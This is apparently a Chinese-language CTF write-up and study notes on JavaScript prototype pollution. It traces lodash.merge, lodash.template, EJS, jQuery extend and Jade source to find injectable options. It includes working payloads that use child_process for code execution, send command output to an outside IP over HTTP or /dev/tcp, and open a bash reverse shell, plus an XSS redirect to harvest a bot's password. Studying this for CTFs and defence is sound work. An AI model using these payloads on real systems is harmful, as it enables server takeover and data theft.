一直对原型链污染有些地方不是很理解,通过这些题目和例子分析一下,欢迎师傅们斧正一些说的不对的地方
server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
只有一个功能就是把喜欢的语言,和ctf的选项提交
看到一个敏感的库lodash
https://snyk.io/vuln/SNYK-JS-LODASHMERGE-173732
存在着原型链污染,可以通过修改对象的__proto__
来修改对象里的属性
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({},payload)
console.log(payload.isAdmin)
//true
直接将对象内的isAdmin
修改为true
用webstorm
下断点,本地打开,运行,在这两个位置下断点,跟一下代码
当我们post{"__proto__":{"xxx":123}}
merge
后可以写一段console.log(data.xxx)
会发现输出123
原因是修改了对象的__proto__
,当输出data.xxx
时会先查找data.__proto__.xxx
P神的文章说的很清楚了
我们要看看模板渲染(lodash.template)的代码,看看可以修改哪些属性,进而命令执行(我这里需要强制单步跟进,红色那个下箭头)
发现options.sourceURL
只要存在就可以作为sourceURL
,但是这里写死的没有设置options
var sourceURL = '//# sourceURL=' +
('sourceURL' in options
? options.sourceURL
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';
再往下看这个变量
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
return Function 是动态函数的意思
结构:
var f = new Function('say',"alert(say);");//第一个参数,是构建出来的动态函数的参数;第二个参数,是函数体
回到题目代码很明显能看到拼接,但是前面有个注释//# sourceURL=
,需要换行\u000a
和\n
都是可以的
new Function
里不能直接require('child_process')
报错结果就是页面无回显
需要用global.process.mainModule.constructor._load
来加载库,还有容器里不存在wget
和curl
需要调用http
库
payload:
{"__proto__":{"sourceURL":"\nvar require = global.process.mainModule.constructor._load;var result = require('child_process').execSync('ls /').toString();var req = require('http').request(`http://39.108.36.103:2333/${result}`);req.end()"}}
https://www.xmsec.cc/prototype-pollution-notes/
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
render 过程
res.render
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
application app.render
app.render = function render(name, options, callback) {
……
tryRender(view, renderOptions, done);
tryRender
function tryRender(view, options, callback) {
try {
view.render(options, callback);
view.render
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
this.engine 就是ejs了
exports.renderFile = function () {
……
return tryHandleCache(opts, data, cb);
}
tryHandleCache
function tryHandleCache(options, data, cb) {
var result;
if (!cb) {
if (typeof exports.promiseImpl == 'function') {
return new exports.promiseImpl(function (resolve, reject) {
try {
result = handleCache(options)(data);
resolve(result);
}
catch (err) {
reject(err);
}
});
}
else {
throw new Error('Please provide a callback function');
}
}
else {
try {
result = handleCache(options)(data);
}
catch (err) {
return cb(err);
}
cb(null, result);
}
}
handleCache
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
if (options.cache) {
if (!filename) {
throw new Error('cache option requires a filename');
}
func = exports.cache.get(filename);
if (func) {
return func;
}
if (!hasTemplate) {
template = fileLoader(filename).toString().replace(_BOM, '');
}
}
else if (!hasTemplate) {
// istanbul ignore if: should not happen at all
if (!filename) {
throw new Error('Internal EJS error: no file name or template '
+ 'provided');
}
template = fileLoader(filename).toString().replace(_BOM, '');
}
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
exports.complie
exports.compile = function compile(template, opts) {
var templ;
// v1 compat
// 'scope' is 'context'
// FIXME: Remove this in a future version
if (opts && opts.scope) {
if (!scopeOptionWarned){
console.warn('`scope` option is deprecated and will be removed in EJS 3');
scopeOptionWarned = true;
}
if (!opts.context) {
opts.context = opts.scope;
}
delete opts.scope;
}
templ = new Template(template, opts);
return templ.compile();
};
到Template
function Template(text, opts) {
找compile方法
compile: function () {
……
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + (opts.filename ?
JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
if (opts.strict) {
src = '"use strict";\n' + src;
}
if (opts.debug) {
console.log(src);
}
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
catch(e) {
// istanbul ignore else
if (e instanceof SyntaxError) {
if (opts.filename) {
e.message += ' in ' + opts.filename;
}
e.message += ' while compiling ejs\n\n';
e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
e.message += 'https://github.com/RyanZim/EJS-Lint';
if (!e.async) {
e.message += '\n';
e.message += 'Or, if you meant to create an async function, pass async: true as an option.';
}
}
throw e;
}
if (opts.client) {
fn.dependencies = this.dependencies;
return fn;
}
// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = function (data) {
var include = function (path, includeData) {
var d = utils.shallowCopy({}, data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
returnedFn.dependencies = this.dependencies;
return returnedFn;
},
……
var escapeFn = opts.escapeFunction;
……
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
payload
{"type":"test","content":{"constructor":{"prototype":{"client":true,"escapeFunction": "1;return process.env.FLAG","compileDebug":true}}}}
打五次
else if(dataList[0].count > 5) {
……
else{
console.log("Return recorder is less than 5,so return it without merge.");
……
}
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
payload
{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
这个要反弹shell,我没成功
注册,向add 提交
{"constructor":{"prototype":{"login":true,"userid":1}}}
提交六次会进行合并
因为req.session.login 和req.session.userid 没定义 是undefined
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
当req.session.login
和req.session.userid
属性没有定义,会去找req.session.__proto__.login
和req.session.__proto__.userid
,如果不存在,再找req.__proto__.login
……
当污染了{}
,会导致所有未定义的对象的login
全都为true
然后看bot源码
usernameForm = client.find_element_by_xpath("//input[@name='username']")
passwordForm = client.find_element_by_xpath("//input[@name='password']")
我们需要插入让其跳转我们构造的界面
前端jquery<3.4.1
extends
函数存在原型链污染漏洞
function getAll(allNode){
$.ajax({
url:"/get",
type:"get",
async:false,
success: function(datas){
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
// console.log(allNode);
}
})
}
app.js
前端动态渲染
(function(){
var hints = {
header : "自定义内容",
notice: "自定义公告",
wiki : "自定义wiki",
button:"自定义内容",
message: "自定义留言内容"
};
for(key in hints){
// console.log(key);
element = $("li[type='"+key+"']");
if(element){
element.find("span.content").html(hints[key]);
}
}
})();
我们需要找到有type
和content
属性
找到logger
</div>
<div class="am-g error-log">
<ul class="am-list am-in">
<li type="logger">
<div class="col-sm-12 col-sm-centered">
<pre class="am-pre-scrollable">
<span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>
</pre>
</div>
</li>
</ul>
</div>
设置content
为<script>window.location='http://xx/'</script>
或者form表单,将action设置为服务器地址,就可以收密码了,也就是flag
参考自vk师傅的文章
环境
server.js
const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));
app.get('/',function (req, res) {
res.send('Hello World');
})
app.post('/post',function (req, res) {
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
var copybody = lodash.merge(a,body);
console.log(a.name);
res.render('index', {
title: 'HTML',
name: a.name || ''
});
})
app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))
res.render 下断点
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
app.render
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge app.locals
merge(renderOptions, this.locals);
// merge options._locals
if (opts._locals) {
merge(renderOptions, opts._locals);
}
// merge options
merge(renderOptions, opts);
// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
// primed cache
if (renderOptions.cache) {
view = cache[name];
}
// view
if (!view) {
var View = this.get('view');
view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});
if (!view.path) {
var dirs = Array.isArray(view.root) && view.root.length > 1
? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
: 'directory "' + view.root + '"'
var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
err.view = view;
return done(err);
}
// prime the cache
if (renderOptions.cache) {
cache[name] = view;
}
}
// render
tryRender(view, renderOptions, done);
};
tryRender
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
view.render
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
exports.__express
exports.__express = function(path, options, fn) {
if(options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}
renderFile
exports.renderFile = function(path, options, fn){
// support callback API
if ('function' == typeof options) {
fn = options, options = undefined;
}
if (typeof fn === 'function') {
var res
try {
res = exports.renderFile(path, options);
} catch (ex) {
return fn(ex);
}
return fn(null, res);
}
options = options || {};
options.filename = path;
return handleTemplateCache(options)(options);
};
handleTemplateCache
function handleTemplateCache (options, str) {
var key = options.filename;
if (options.cache && exports.cache[key]) {
return exports.cache[key];
} else {
if (str === undefined) str = fs.readFileSync(options.filename, 'utf8');
var templ = exports.compile(str, options);
if (options.cache) exports.cache[key] = templ;
return templ;
}
}
exports.compile
exports.compile = function(str, options){
var options = options || {}
, filename = options.filename
? utils.stringify(options.filename)
: 'undefined'
, fn;
str = String(str);
var parsed = parse(str, options);
if (options.compileDebug !== false) {
fn = [
'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
, 'try {'
, parsed.body
, '} catch (err) {'
, ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
, '}'
].join('\n');
} else {
fn = parsed.body;
}
fn = new Function('locals, jade', fn)
var res = function(locals){ return fn(locals, Object.create(runtime)) };
if (options.client) {
res.toString = function () {
var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
err.name = 'Warning';
console.error(err.stack || /* istanbul ignore next */ err.message);
return exports.compileClient(str, options);
};
}
res.dependencies = parsed.dependencies;
return res;
};
compile -> parse -> compiler.compile
compile: function(){
this.buf = [];
if (this.pp) this.buf.push("var jade_indent = [];");
this.lastBufferedIdx = -1;
this.visit(this.node);
if (!this.dynamicMixins) {
// if there are no dynamic mixins we can remove any un-used mixins
var mixinNames = Object.keys(this.mixins);
for (var i = 0; i < mixinNames.length; i++) {
var mixin = this.mixins[mixinNames[i]];
if (!mixin.used) {
for (var x = 0; x < mixin.instances.length; x++) {
for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
this.buf[y] = '';
}
}
}
}
}
return this.buf.join('\n');
},
visit
visit: function(node){
var debug = this.debug;
if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
+ ', ' + (node.filename
? utils.stringify(node.filename)
: 'jade_debug[0].filename')
+ ' ));');
}
// Massive hack to fix our context
// stack for - else[ if] etc
if (false === node.debug && this.debug) {
this.buf.pop();
this.buf.pop();
}
this.visitNode(node);
if (debug) this.buf.push('jade_debug.shift();');
},
这里有拼接 node.line
node.filename
exports.stringify = function(str) {
return JSON.stringify(str)
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u2029');
};
去掉了双引号,所以能注入的只有node.line
payload:
{"proto":{"compileDebug":1,"self":1,"line":"console.log('test inject')"}}
RCE:
{"proto":{"compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.108.36.103/2333 0>&1\"')"}}
https://xz.aliyun.com/t/6113#reply-13859
https://www.xmsec.cc/prototype-pollution-notes/
https://www.xmsec.cc/prototype-pollution-notes/
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html